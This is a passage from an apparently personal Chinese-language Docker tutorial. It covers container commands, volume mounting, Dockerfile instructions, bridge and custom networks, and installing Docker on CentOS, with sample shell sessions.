#强制停止当前容器</code></pre><h3 id="常用其他命令"><a href="#常用其他命令" class="headerlink" title="常用其他命令"></a>常用其他命令</h3><p><strong>后台启动容器</strong></p><pre><code>#通过 -d 后台启动[root@iZiiwad3d3m7zzZ ~]# docker run -d centos# 发现centos停止了 # 常见的坑: docker容器使用后台运行,必须要有一个前台进程,docker发现没有前台应用就会自动停止# 容器启动后发现自己没有提供服务,就会立刻停止。</code></pre><p><strong>查看日志</strong></p><pre><code>docker logs# 参数Options: --details Show extra details provided to logs -f, --follow Follow log output --since string Show logs since timestamp (e.g. 2013-01-02T13:23:37) or relative (e.g. 42m for 42 minutes) --tail string Number of lines to show from the end of the logs (default "all") -t, --timestamps Show timestamps --until string Show logs before a timestamp (e.g. 2013-01-02T13:23:37) or relative (e.g. 42m for 42 minutes) docker logs -f -t --tail 10 2072f1e07af8 # 查看当前日志 # 后台运行一个bash命令,方便日志查看 docker run -d centos /bin/sh -c "while true; do echo hahahahaha;sleep 1;done"</code></pre><p><strong>查看容器中进程的信息</strong></p><pre><code>docker top id[root@iZiiwad3d3m7zzZ ~]# docker top 3c3546037cf0UID PID PPID C STIME TTY TIME CMDroot 15917 15869 0 13:00 ? 00:00:00 /bin/sh -c while true; do echo hahahahaha;sleep 1;doneroot 16163 15917 0 13:02 ? 00:00:00 /usr/bin/coreutils --coreutils-prog-shebang=sleep /usr/bin/sleep 1</code></pre><p><strong>查看镜像中的元数据</strong></p><pre><code>docker inspectOptions: -f, --format string Format the output using the given Go template -s, --size Display total file sizes if the type is container --type string Return JSON for specified type[root@iZiiwad3d3m7zzZ ~]# docker inspect 3c3546037cf0</code></pre><p><strong>进入当前正在运行的容器</strong></p><pre><code># 通常容器都是使用后台方式运行的 有时需要进入容器,修改配置# 命令docker exec it 容器 id bashshell[root@iZiiwad3d3m7zzZ ~]# docker exec -it 749fdb83ed84 /bin/bash[root@749fdb83ed84 /]##命令2docker attach 容器 id#docker exec 进入容器后打开一个新的终端#docker attach 进入容器正在执行的终端,不会启动新的终端</code></pre><p><strong>从容器中拷贝文件</strong></p><pre><code>docker cp 容器id:容器内路径 主机路径[root@iZiiwad3d3m7zzZ ~]# docker cp 749fdb83ed84:/home/1.txt ./[root@iZiiwad3d3m7zzZ ~]# ls1.txt demo*</code></pre><p><strong>docker 查看cpu占用</strong></p><pre><code>docker stats</code></pre><h2 id="使用数据卷"><a href="#使用数据卷" class="headerlink" title="使用数据卷"></a>使用数据卷</h2><blockquote><p>方式1:直接使用命令挂载</p></blockquote><pre><code>docker run -it -v 宿主机的目录:容器内的目录 镜像名 /bin/bash#举例[root@iZiiwad3d3m7zzZ ~]# docker run -it -v /home/test:/home centos /bin/bash#使用ctrl pq 退出容器 ps查看容器正在运行[root@51b1326faaa7 /]# [root@iZiiwad3d3m7zzZ ~]# docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES51b1326faaa7 centos "/bin/bash" 10 seconds ago Up # 进入主机的挂载目录,创建一个 test1.txt 并输入一些内容[root@iZiiwad3d3m7zzZ ~]# cd /home[root@iZiiwad3d3m7zzZ home]#[root@iZiiwad3d3m7zzZ home]# ls1.txt test[root@iZiiwad3d3m7zzZ home]# cd test/[root@iZiiwad3d3m7zzZ test]# ls[root@iZiiwad3d3m7zzZ test]# touch test1.txt[root@iZiiwad3d3m7zzZ test]# echo helloworld >>test1.txt[root@iZiiwad3d3m7zzZ test]# lstest1.txt[root@iZiiwad3d3m7zzZ test]# docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES51b1326faaa7 centos "/bin/bash" About a minute ago Up About a minute peaceful_payne# 进入容器并查看目录,发现数据已经同步更新[root@iZiiwad3d3m7zzZ test]# docker exec -it 51b1326faaa7 /bin/bash[root@51b1326faaa7 /]# lsbin dev etc home lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var[root@51b1326faaa7 /]# cd /home[root@51b1326faaa7 home]# lstest1.txt[root@51b1326faaa7 home]# cat test1.txthelloworld#使用docker inspect 查看刚才创建的容器 "Mounts": [ { "Type": "bind", "Source": "/home/test", # 主机内的地址 "Destination": "/home",#docker容器的地址 "Mode": "", "RW": true, "Propagation": "rprivate" } ],# 删除容器后,重新创建一个容器挂载相同的目录,可以在容器中找到一开始创建的文件,这就达到了容器的持久化[root@iZiiwad3d3m7zzZ test]# docker rm -f 51b1326faaa751b1326faaa7# 重新创建容器,挂载相同的目录[root@iZiiwad3d3m7zzZ test]# docker run -it -v /home/test:/home centos /bin/bash# 在容器中能找到一开始创建的文件[root@9eddbffd4d16 /]# cd /home[root@9eddbffd4d16 home]# lstest1.txt</code></pre><p><strong>注:即使容器已经停止了,也可以进行数据同步</strong></p><p><strong>注: 挂载是主机目录下的文件 覆盖容器目录下的文件</strong></p><p>卷挂载的好处: 以后修改可以直接在本地修改即可,容器内会自动同步。</p><h2 id="具名和匿名挂载"><a href="#具名和匿名挂载" class="headerlink" title="具名和匿名挂载"></a>具名和匿名挂载</h2><pre><code>#匿名挂载 -v时只指定容器的目录直接使用-v 容器路径docker run -d -P --name nginx01 -v /etc/nginx nginx# 查看匿名卷docker volume ls</code></pre><p><a href="https://imgchr.com/i/tm7k6A"><img src="https://s1.ax1x.com/2020/05/29/tm7k6A.png?ynotemdtimestamp=1618897827085" alt="tm7k6A.th.png"></a></p><pre><code># 使用docker inspect 容器id ,查看mounts挂载 "Mounts": [ { "Type": "volume", "Name": "a70c13d31c8005c2dc1d32fffc3d06330040f3a0c4f3955d4ccb152dbc9e5628", "Source": "/var/lib/docker/volumes/a70c13d31c8005c2dc1d32fffc3d06330040f3a0c4f3955d4ccb152dbc9e5628/_data", "Destination": "/etc/nginx", "Driver": "local", "Mode": "", "RW": true, "Propagation": "" } ],#对照docker volume ls 发现图中每一串值 都是一个文件目录# cd 进入目录, 数据已同步[root@iZiiwad3d3m7zzZ etc]# cd /var/lib/docker/volumes/a70c13d31c8005c2dc1d32fffc3d06330040f3a0c4f3955d4ccb152dbc9e5628/_data[root@iZiiwad3d3m7zzZ _data]# lsconf.d fastcgi_params koi-utf koi-win mime.types modules nginx.conf scgi_params uwsgi_params win-utf[root@iZiiwad3d3m7zzZ _data]#</code></pre><p><strong>结论:所有匿名挂载都是挂载到/var/lib/docker/volumes/xxxxxx/_data下</strong></p><p>使用具名挂载可以方便的找到挂载的卷, 因此大多数下都是使用具名挂载</p><pre><code># 如何确定是具名挂载还是匿名挂载,还是指定目录挂载-v 容器内路径 # 匿名挂载-v 卷名:容器内路径 # 具名挂载-v /宿主机路径:容器内路径#指定路径进行挂载</code></pre><p>拓展</p><pre><code># 通过 指定容器内路径+ :rw/ro ro readonly#只读 只能通过宿主机修改rw readwrite#可读可写 默认配置docker run ... -v xxx:/etc/filename:ro imagesnamedocker run ... -v xxx:/etc/filename:rw imagesname</code></pre><h2 id="基本操作"><a href="#基本操作" class="headerlink" title="基本操作"></a>基本操作</h2><h3 id="镜像下载"><a href="#镜像下载" class="headerlink" title="镜像下载"></a>镜像下载</h3><p><code>docker pull xx</code></p><h3 id="镜像运行"><a href="#镜像运行" class="headerlink" title="镜像运行"></a>镜像运行</h3><p><code>docker run -it --rm ubuntu:18.04 bash</code></p><h3 id="镜像环境保存上传-用于保存现场"><a href="#镜像环境保存上传-用于保存现场" class="headerlink" title="镜像环境保存上传(用于保存现场)"></a>镜像环境保存上传(用于保存现场)</h3><p><code>docker commit [选项] <容器ID或容器名> [<仓库名>[:<标签>]]</code></p><p><img src="file://C:/Users/qwrdxer/AppData/Local/Temp/.IO42A2/1.png" alt="file://C:/Users/qwrdxer/AppData/Local/Temp/.IO42A2/1.png"></p><h2 id="docker-file-定制镜像"><a href="#docker-file-定制镜像" class="headerlink" title="docker file 定制镜像"></a>docker file 定制镜像</h2><h3 id="FROM-命令"><a href="#FROM-命令" class="headerlink" title="FROM 命令"></a>FROM 命令</h3><pre><code class="dockerfile">FROM nginxRUN echo '<h1>Hello, Docker!</h1>' > /usr/share/nginx/html/index.html</code></pre><p>指定基础镜像, 可以指定mysql 、 NGINX等,也可指定Ubuntu centos等更为基础的镜像</p><p>其中 <code>FROM scratch</code>是一个特殊的基础镜像,如果你以 <code>scratch</code> 为基础镜像的话,意味着你不以任何镜像为基础,接下来所写的指令将作为镜像第一层开始存在。</p><blockquote><p>Docker 的 <code>FROM scratch</code> 指令是一种特殊情况,它表示你从一个空白的基础镜像开始构建你的 Docker 镜像,而不是从一个已有的基础镜像构建。这可以用于创建极小的 Docker 镜像,通常用于静态二进制文件的部署,如 Go 程序。</p><p>以下是一个简单的使用 <code>FROM scratch</code> 构建 Docker 镜像的示例:</p><ol><li>首先,创建一个包含可执行文件的 Go 程序,比如 <code>main.go</code>:</li></ol><pre><code>goCopy codepackage mainimport "fmt"func main() { fmt.Println("Hello, World!")}</code></pre><ol><li>使用 Go 工具构建该程序,以生成可执行文件。在程序的目录中运行以下命令:</li></ol><pre><code>bashCopy codego build -o myapp main.go</code></pre><p>这将生成一个名为 <code>myapp</code> 的可执行文件。</p><ol><li>创建一个 Dockerfile,以使用 <code>FROM scratch</code> 构建 Docker 镜像。在与 <code>myapp</code> 可执行文件相同的目录中创建一个名为 <code>Dockerfile</code> 的文件,内容如下:</li></ol><pre><code>DockerfileCopy code# 使用空白基础镜像FROM scratch# 将可执行文件复制到镜像中COPY myapp /myapp# 指定容器启动时运行的命令CMD ["/myapp"]</code></pre><p>这个 Dockerfile 使用了 <code>FROM scratch</code> 指令,然后将 <code>myapp</code> 可执行文件复制到镜像中,并为它设置了执行权限。最后,使用 <code>CMD</code> 指定容器启动时运行的命令,即运行 <code>myapp</code>。</p><ol><li>构建 Docker 镜像。在包含 Dockerfile 的目录中运行以下命令:</li></ol><pre><code>bashCopy codedocker build -t myapp-image .</code></pre><p>这将使用 Dockerfile 构建一个名为 <code>myapp-image</code> 的 Docker 镜像。</p><ol><li>运行 Docker 容器。现在,您可以使用以下命令在容器中运行应用程序:</li></ol><pre><code>bashCopy codedocker run myapp-image</code></pre><p>这将启动一个容器,并运行名为 <code>myapp</code> 的可执行文件,输出 “Hello, World!”。</p><p>这个示例演示了如何使用 <code>FROM scratch</code> 构建一个包含最小文件系统的 Docker 镜像,并将一个可执行文件添加到其中以运行应用程序。这种方法适用于需要极小镜像的特殊用例。</p></blockquote><h3 id="RUN命令"><a href="#RUN命令" class="headerlink" title="RUN命令"></a>RUN命令</h3><p><code>RUN</code> 指令是用来执行命令行命令的。由于命令行的强大能力,<code>RUN</code> 指令在定制镜像时是最常用的指令之一。其格式有两种:</p><ul><li><em>shell</em> 格式:<code>RUN <命令></code>,就像直接在命令行中输入的命令一样。刚才写的 Dockerfile 中的 <code>RUN</code> 指令就是这种格式。</li></ul><pre><code class="docker">RUN echo '<h1>Hello, Docker!</h1>' > /usr/share/nginx/html/index.html</code></pre><ul><li><em>exec</em> 格式:<code>RUN ["可执行文件", "参数1", "参数2"]</code>,这更像是函数调用中的格式。</li></ul><p>使用RUN进行apt更新</p><pre><code class="dockerfile">FROM debian:stretchRUN set -x; buildDeps='gcc libc6-dev make wget' \ && apt-get update \ && apt-get install -y $buildDeps \ && wget -O redis.tar.gz "http://download.redis.io/releases/redis-5.0.3.tar.gz" \ && mkdir -p /usr/src/redis \ && tar -xzf redis.tar.gz -C /usr/src/redis --strip-components=1 \ && make -C /usr/src/redis \ && make -C /usr/src/redis install \ && rm -rf /var/lib/apt/lists/* \ && rm redis.tar.gz \ && rm -r /usr/src/redis \ && apt-get purge -y --auto-remove $buildDeps</code></pre><h3 id="copy命令"><a href="#copy命令" class="headerlink" title="copy命令"></a>copy命令</h3><ul><li>`COPY [–chown=<user>:<group>] <源路径>… <目标路径></group></user></li><li>COPY [–chown=<user>:<group>] [“<源路径1>”,… “<目标路径>”]</group></user></li></ul><h3 id="add命令"><a href="#add命令" class="headerlink" title="add命令"></a>add命令</h3><p><code>ADD</code> 指令和 <code>COPY</code> 的格式和性质基本一致。但是在 <code>COPY</code> 基础上增加了一些功能。</p><p>比如 <code><源路径></code> 可以是一个 <code>URL</code>,这种情况下,Docker 引擎会试图去下载这个链接的文件放到 <code><目标路径></code> 去。下载后的文件权限自动设置为 <code>600</code>,如果这并不是想要的权限,那么还需要增加额外的一层 <code>RUN</code> 进行权限调整,另外,如果下载的是个压缩包,需要解压缩,也一样还需要额外的一层 <code>RUN</code> 指令进行解压缩。所以不如直接使用 <code>RUN</code> 指令,然后使用 <code>wget</code> 或者 <code>curl</code> 工具下载,处理权限、解压缩、然后清理无用文件更合理。因此,这个功能其实并不实用,而且不推荐使用。</p><p>如果 <code><源路径></code> 为一个 <code>tar</code> 压缩文件的话,压缩格式为 <code>gzip</code>, <code>bzip2</code> 以及 <code>xz</code> 的情况下,<code>ADD</code> 指令将会自动解压缩这个压缩文件到 <code><目标路径></code> 去。</p><h3 id="CMD命令"><a href="#CMD命令" class="headerlink" title="CMD命令"></a>CMD命令</h3><p><code>CMD</code> 指令的格式和 <code>RUN</code> 相似,也是两种格式:</p><ul><li><code>shell</code> 格式:<code>CMD <命令></code></li><li><code>exec</code> 格式:<code>CMD ["可执行文件", "参数1", "参数2"...]</code></li><li>参数列表格式:<code>CMD ["参数1", "参数2"...]</code>。在指定了 <code>ENTRYPOINT</code> 指令后,用 <code>CMD</code> 指定具体的参数。</li></ul><p>Docker 不是虚拟机,容器就是进程。既然是进程,那么在启动容器的时候,需要指定所运行的程序及参数。CMD 指令就是用于指定默认的容器主进程的启动命令的。</p><p>在运行时可以指定新的命令来替代镜像设置中的这个默认命令,比如,ubuntu 镜像默认的 CMD 是 /bin/bash,如果我们直接 <code>docker run -it ubuntu</code> 的话,会直接进入 bash。我们也可以在运行时指定运行别的命令,如 <code>docker run -it ubuntu cat /etc/os-release</code> 输出了系统版本信息(然后进程结束)</p><blockquote><p>Docker 不是虚拟机,容器中的应用都应该以前台执行,而不是像虚拟机、物理机里面那样,用 <code>systemd</code> 去启动后台服务,容器内没有后台服务的概念。</p><p>一些初学者将 <code>CMD</code> 写为:</p><pre><code class="docker">CMD service nginx start</code></pre><p>1</p><p>然后发现容器执行后就立即退出了。甚至在容器内去使用 <code>systemctl</code> 命令结果却发现根本执行不了。这就是因为没有搞明白前台、后台的概念,没有区分容器和虚拟机的差异,依旧在以传统虚拟机的角度去理解容器。</p><p>对于容器而言,其启动程序就是容器应用进程,容器就是为了主进程而存在的,主进程退出,容器就失去了存在的意义,从而退出,其它辅助进程不是它需要关心的东西。</p><p>而使用 <code>service nginx start</code> 命令,则是希望 upstart 来以后台守护进程形式启动 <code>nginx</code> 服务。而刚才说了 <code>CMD service nginx start</code> 会被理解为 <code>CMD [ "sh", "-c", "service nginx start"]</code>,因此主进程实际上是 <code>sh</code>。那么当 <code>service nginx start</code> 命令结束后,<code>sh</code> 也就结束了,<code>sh</code> 作为主进程退出了,自然就会令容器退出。</p><p>正确的做法是直接执行 <code>nginx</code> 可执行文件,并且要求以前台形式运行。比如:</p><pre><code class="docker">CMD ["nginx", "-g", "daemon off;"]</code></pre></blockquote><h3 id="ENTRYPOINT-入口点"><a href="#ENTRYPOINT-入口点" class="headerlink" title="ENTRYPOINT 入口点"></a>ENTRYPOINT 入口点</h3><p>当指定了 <code>ENTRYPOINT</code> 后,<code>CMD</code> 的含义就发生了改变,不再是直接的运行其命令,而是将 <code>CMD</code> 的内容作为参数传给 <code>ENTRYPOINT</code> 指令,换句话说实际执行时,将变为:</p><pre><code class="bash"><ENTRYPOINT> "<CMD>"</code></pre><h3 id="ENV-设置环境变量"><a href="#ENV-设置环境变量" class="headerlink" title="ENV 设置环境变量"></a>ENV 设置环境变量</h3><p>格式有两种:</p><ul><li><code>ENV <key> <value></code></li><li><code>ENV <key1>=<value1> <key2>=<value2>...</code></li></ul><p>这个指令很简单,就是设置环境变量而已,无论是后面的其它指令,如 <code>RUN</code>,还是运行时的应用,都可以直接使用这里定义的环境变量。</p><h3 id="VOLUME匿名卷"><a href="#VOLUME匿名卷" class="headerlink" title="VOLUME匿名卷"></a>VOLUME匿名卷</h3><pre><code class="docker">VOLUME /data</code></pre><p>这里的 <code>/data</code> 目录就会在容器运行时自动挂载为匿名卷,任何向 <code>/data</code> 中写入的信息都不会记录进容器存储层,从而保证了容器存储层的无状态化。当然,运行容器时可以覆盖这个挂载设置。比如:</p><pre><code class="bash">$ docker run -d -v mydata:/data xxxx</code></pre><h3 id="EXPOSE-声明端口"><a href="#EXPOSE-声明端口" class="headerlink" title="EXPOSE 声明端口"></a>EXPOSE 声明端口</h3><p> <code>EXPOSE</code> 仅仅是声明容器打算使用什么端口而已,并不会自动在宿主进行端口映射。</p><h3 id="WORKDIR-指定工作目录"><a href="#WORKDIR-指定工作目录" class="headerlink" title="WORKDIR 指定工作目录"></a>WORKDIR 指定工作目录</h3><p>格式为 <code>WORKDIR <工作目录路径></code>。</p><p>使用 <code>WORKDIR</code> 指令可以来指定工作目录(或者称为当前目录),以后各层的当前目录就被改为指定的目录,如该目录不存在,<code>WORKDIR</code> 会帮你建立目录。</p><blockquote><p>之前提到一些初学者常犯的错误是把 <code>Dockerfile</code> 等同于 Shell 脚本来书写,这种错误的理解还可能会导致出现下面这样的错误:</p><pre><code class="docker">RUN cd /appRUN echo "hello" > world.txt</code></pre><p>如果将这个 <code>Dockerfile</code> 进行构建镜像运行后,会发现找不到 <code>/app/world.txt</code> 文件,或者其内容不是 <code>hello</code>。原因其实很简单,在 Shell 中,连续两行是同一个进程执行环境,因此前一个命令修改的内存状态,会直接影响后一个命令;而在 <code>Dockerfile</code> 中,这两行 <code>RUN</code> 命令的执行环境根本不同,是两个完全不同的容器。这就是对 <code>Dockerfile</code> 构建分层存储的概念不了解所导致的错误。</p></blockquote><h3 id="USER指定用户名"><a href="#USER指定用户名" class="headerlink" title="USER指定用户名"></a>USER指定用户名</h3><pre><code>USER <用户名>[:<用户组>]</code></pre><p><code>USER</code> 指令和 <code>WORKDIR</code> 相似,都是改变环境状态并影响以后的层。<code>WORKDIR</code> 是改变工作目录,<code>USER</code> 则是改变之后层的执行 <code>RUN</code>, <code>CMD</code> 以及 <code>ENTRYPOINT</code> 这类命令的身份</p><h3 id="HEALTHCHECK-健康检查"><a href="#HEALTHCHECK-健康检查" class="headerlink" title="HEALTHCHECK 健康检查"></a>HEALTHCHECK 健康检查</h3><ul><li><code>HEALTHCHECK [选项] CMD <命令></code>:设置检查容器健康状况的命令</li><li><code>HEALTHCHECK NONE</code>:如果基础镜像有健康检查指令,使用这行可以屏蔽掉其健康检查指令</li></ul><pre><code class="docker">FROM nginxRUN apt-get update && apt-get install -y curl && rm -rf /var/lib/apt/lists/*HEALTHCHECK --interval=5s --timeout=3s \ CMD curl -fs http://localhost/ || exit 1</code></pre><h3 id="SHELL命令"><a href="#SHELL命令" class="headerlink" title="SHELL命令"></a>SHELL命令</h3><p>格式:<code>SHELL ["executable", "parameters"]</code></p><pre><code>SHELL` 指令可以指定 `RUN` `ENTRYPOINT` `CMD` 指令的 shell,Linux 中默认为 `["/bin/sh", "-c"]</code></pre><pre><code class="docker">SHELL ["/bin/sh", "-c"]RUN lll ; lsSHELL ["/bin/sh", "-cex"]RUN lll ; ls</code></pre><h3 id="构建镜像"><a href="#构建镜像" class="headerlink" title="构建镜像"></a>构建镜像</h3><p>在 <code>Dockerfile</code> 文件所在目录执行</p><pre><code class="bash"> docker build -t nginx:v3 .</code></pre><h2 id="dockerfile实例"><a href="#dockerfile实例" class="headerlink" title="dockerfile实例"></a>dockerfile实例</h2><pre><code class="dockerfile">FROM ubuntu:18.04CMD apt insall n</code></pre><h2 id="Docker-网络"><a href="#Docker-网络" class="headerlink" title="Docker 网络"></a>Docker 网络</h2><p><a href="https://imgchr.com/i/tm7xjs"><img src="https://s1.ax1x.com/2020/05/29/tm7xjs.png?ynotemdtimestamp=1618897827085" alt="tm7xjs.th.png"></a></p><p>安装docker使用 ip addr会发现有一个docker0网卡</p><pre><code># 问题: docker是如何处理容器网络访问的?</code></pre><p><a href="https://imgchr.com/i/tmH9H0"><img src="https://s1.ax1x.com/2020/05/29/tmH9H0.png?ynotemdtimestamp=1618897827085" alt="tmH9H0.th.png"></a></p><pre><code># 启动tomcat容器docker run -d -P --name tomcat01 tomcat#执行ip addr命令 查看网卡 信息, docker exec -it tomcat01 ip addr1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever130: eth0@if131: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever# 发现容器启动后会得到一个这样的 130: eth0@if131 ip地址,这是docker分配的# linux能不能ping通这个容器?[root@iZiiwad3d3m7zzZ ~]# ping 172.17.0.2PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.072 ms64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.058 ms# 可以,说明linux 可以ping通容器内部。#主机再次执行ip addr 后,发现又多了一张网卡131: veth6cdfe0d@if130: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default link/ether 06:39:bd:95:73:86 brd ff:ff:ff:ff:ff:ff link-netnsid 0</code></pre><blockquote><p>原理</p></blockquote><ol><li>每启动一个容器,docker都会给docker容器分配一个ip,只要安装了docker,就会有一个网卡docker0, 使用的就是evth-pair技术.</li><li>再次启动一个容器tomcat02,会发现又多了一个网卡</li><li><a href="https://imgchr.com/i/tmHGgH"><img src="https://s1.ax1x.com/2020/05/29/tmHGgH.png?ynotemdtimestamp=1618897827085" alt="tmHGgH.th.png"></a></li></ol><pre><code># 很容易发现,创建容器产生的网卡都是成对的, 如第一个容器的 130和主机的131对应# evth-pair 就是一对的虚拟机设备接口,他们都是成对出现的,一段连接主协议,一段彼此相连#正因为这个特性 ,evth-pair 作为一个桥梁,连通着各种虚拟网络设备的</code></pre><ol><li>测试tomcat01 和tomcat02是否可以ping通</li></ol><pre><code>docker exec -it tomcat02 ping 172.17.0.3#可以ping通</code></pre><p><strong>结论:</strong></p><ol><li>tomcat01和tomcat02 可以理解为使用公用的docker0 连接</li><li>所有的容器在不指定网络的情况下都是docker0路由的,docker0会给容器分配一个默认的可用ip</li></ol><blockquote><p>思考一个场景: 若有一个服务,需要根据访问其他容器,但容器重启后ip重新分配,—-> 能否通过服务名(容器名)访问容器服务?</p></blockquote><pre><code>$ docker exec --it tomcat02 ping tomcat01ping: tomcat01: Name or service not known#报错! 如何解决?#在创建容器的时候绑定服务的ip 使用 --link 来绑定服务名[root@iZiiwad3d3m7zzZ ~]# docker run -d -P --name tomcat03 --link tomcat02 tomcat01fa84c59ba1f005220abac5761ab135793fcdc895420d61a1dc996e0a3678bf[root@iZiiwad3d3m7zzZ ~]# docker exec -it tomcat03 ping tomcat02PING tomcat02 (172.17.0.3) 56(84) bytes of data.64 bytes from tomcat02 (172.17.0.3): icmp_seq=1 ttl=64 time=0.102 ms# 原理: 容器内部的hosts文件绑定了 tomcat02[root@iZiiwad3d3m7zzZ ~]# docker exec -it tomcat03 cat /etc/hosts127.0.0.1 localhost172.17.0.3 tomcat02 1f56aac5004f172.17.0.4 01fa84c59ba1docker network ls #查看容器网卡信息NETWORK ID NAME DRIVER SCOPE0457aba507e3 bridge bridge local702f5023c1fe host host localdae9e02f4e11 none null localdocker inspect 网络ID #查看网络信息 "Containers": { "01fa84c59ba1f005220abac5761ab135793fcdc895420d61a1dc996e0a3678bf": { "Name": "tomcat03", "EndpointID": "234c45609a5a840380c4003201099266fe6d27961ac14f2eab349d8004cbd9a9", "MacAddress": "02:42:ac:11:00:04", "IPv4Address": "172.17.0.4/16", "IPv6Address": "" }, "1f56aac5004f9183688686d155cf444bbc3829581b92915fb8ed8dada8b428ef": { "Name": "tomcat02", "EndpointID": "0707d81268880ab6957b8551374935f28085a000279c6bae69d92e1302de4453", "MacAddress": "02:42:ac:11:00:03", "IPv4Address": "172.17.0.3/16", "IPv6Address": "" }, "6cfd7d3ad129a00f615a35107aa034b6bb99861042462fe65947db19a188fc8f": { "Name": "tomcat01", "EndpointID": "ed8815b69ba59d276634b4113dcdf2015c168e5f5398152f1d744a141ba36de7", "MacAddress": "02:42:ac:11:00:02", "IPv4Address": "172.17.0.2/16", "IPv6Address": "" } },#查看tomcat03 信息$ docker inspect tomcat03 "Links": [ "/tomcat02:/tomcat03/tomcat02" ],发现有连接的标志本质探究: --link 就是在hosts配置中增加了一个 172.17.0.3 tomcat02 1f56aac5004f 使用 --link麻烦, 可以自定义网络</code></pre><h2 id="自定义网络"><a href="#自定义网络" class="headerlink" title="自定义网络"></a>自定义网络</h2><blockquote><p>查看所有的docker网络</p></blockquote><pre><code>[root@iZiiwad3d3m7zzZ ~]# docker network lsNETWORK ID NAME DRIVER SCOPE0457aba507e3 bridge bridge local702f5023c1fe host host localdae9e02f4e11 none null local</code></pre><p><strong>网络模式</strong></p><p>bridge: 桥接(默认)</p><p>none: 不配置网络</p><p>host: 主机模式,和宿主机共享网络</p><p>container: 容器内网络连通(用的少)</p><p><strong>测试</strong></p><pre><code># 直接启动容器 默认命令 --net bridge 这就是docker0$ docker run -d -P --name tomcat01 tomcat$ docker run -d -P --name tomcat01 --net bridge tomcat#docker0 特点:默认, 无法直接域名访问, 需要使用 --link# 创建一个自定义网络#--dirver bridge#--subnet 192.168.0.0/16#--gateway 192.168.0.1[root@iZiiwad3d3m7zzZ ~]# docker network create --driver bridge --subnet 192.168.0.0/16 --gateway 192.168.0.1 myfirstnet52fdb3ca6d7f9e0bb0ec01df0b1726c3d75081814215c45cf762b9f018f0b132[root@iZiiwad3d3m7zzZ ~]# docker network lsNETWORK ID NAME DRIVER SCOPE0457aba507e3 bridge bridge local702f5023c1fe host host local52fdb3ca6d7f myfirstnet bridge localdae9e02f4e11 none null local# 指定容器的网络$docker run -d -P --name tomcat-net-01 --net myfirstnet tomcat$docker run -d -P --name tomcat-net-02 --net myfirstnet tomcat# 测试连通[root@iZiiwad3d3m7zzZ ~]# docker exec -it 1af8dfd43a5d ping tomcat-net-01PING tomcat-net-01 (192.168.0.2) 56(84) bytes of data.64 bytes from tomcat-net-01.myfirstnet (192.168.0.2): icmp_seq=1 ttl=64 time=0.065 ms64 bytes from tomcat-net-01.myfirstnet (192.168.0.2): icmp_seq=2 ttl=64 time=0.061 ms^C# 发现不需要使用 --link绑定 直接就可以使用容器名ping通</code></pre><p>好处:不同的集群使用不同的网络,保证集群是安全和健康的。</p><p><a href="https://imgchr.com/i/tmHyvj"><img src="https://s1.ax1x.com/2020/05/29/tmHyvj.png?ynotemdtimestamp=1618897827085" alt="tmHyvj.th.png"></a></p><h2 id="网络连通"><a href="#网络连通" class="headerlink" title="网络连通"></a>网络连通</h2><p><a href="https://imgchr.com/i/tmHWV0"><img src="https://s1.ax1x.com/2020/05/29/tmHWV0.png?ynotemdtimestamp=1618897827085" alt="tmHWV0.th.png"></a></p><p>测试:</p><pre><code>#启动一个使用默认网络的容器,无法ping通使用其他网络下的容器[root@iZiiwad3d3m7zzZ ~]# docker run -d -P --name tomcat-03 tomcata6c6a1fd6ec54dd9e1e38c27aba45e0b6f5c4c282408a69c575f15639e12584d[root@iZiiwad3d3m7zzZ ~]# docker exec -it tomcat-03 ping tomcat-net-01ping: tomcat-net-01:Name or service not known#docker network connect : 连接一个容器到一个网络#测试打通tomcat-03 与tomcat-net-01[root@iZiiwad3d3m7zzZ ~]# docker network connect myfirstnet tomcat-03[root@iZiiwad3d3m7zzZ ~]# docker network inspect myfirstnet "Containers": { "1af8dfd43a5df52ddf89d852d744e375bcaae3ba40e7c20d0ab86540fa36a2d2": { "Name": "tomcat-net-02", "EndpointID": "bb33917cb8b9d0f758ddc4b67182d067c928b191a767e571f066ea4414f36173", "MacAddress": "02:42:c0:a8:00:03", "IPv4Address": "192.168.0.3/16", "IPv6Address": "" }, "91a3bb736a2a6b125fb577443302488bc1d76c0988c0c56ec8f51a032a43564f": { "Name": "tomcat-net-01", "EndpointID": "0b3d23e32cd45767d27a8d705d1e6e4d32b1559f147c85e956f16fcb923276ca", "MacAddress": "02:42:c0:a8:00:02", "IPv4Address": "192.168.0.2/16", "IPv6Address": "" }, "a6c6a1fd6ec54dd9e1e38c27aba45e0b6f5c4c282408a69c575f15639e12584d": { "Name": "tomcat-03", "EndpointID": "50e3b50310d9f0684233d7f9ece3df3f88094dd8ef51441be00067b578aef6f1", "MacAddress": "02:42:c0:a8:00:04", "IPv4Address": "192.168.0.4/16", "IPv6Address": "" } },#发现自定义网络添加了一个ip给 其他网络的容器#一个容器拥有了两个ip</code></pre><h2 id="docker常用镜像记录"><a href="#docker常用镜像记录" class="headerlink" title="docker常用镜像记录"></a>docker常用镜像记录</h2><p><strong>centos 安装docker</strong></p><pre><code class="bash">sudo yum remove docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-engine#安装用到的工具 sudo yum install -y yum-utils#添加仓库 sudo yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo#加速 yum makecache fast#安装dockersudo yum -y install docker-ce docker-ce-cli contanerd.io#启动docker sudo systemctl start docker#测试, 查看docker版本 docker version#安装指定版本docker#列出docker版本yum list docker-ce.x86_64 --showduplicates | sort -r# 查看cli版本yum list docker-ce.x86_64 docker-ce-cli.x86_64 --showduplicates | sort -r | grep 18.09#安装yum install 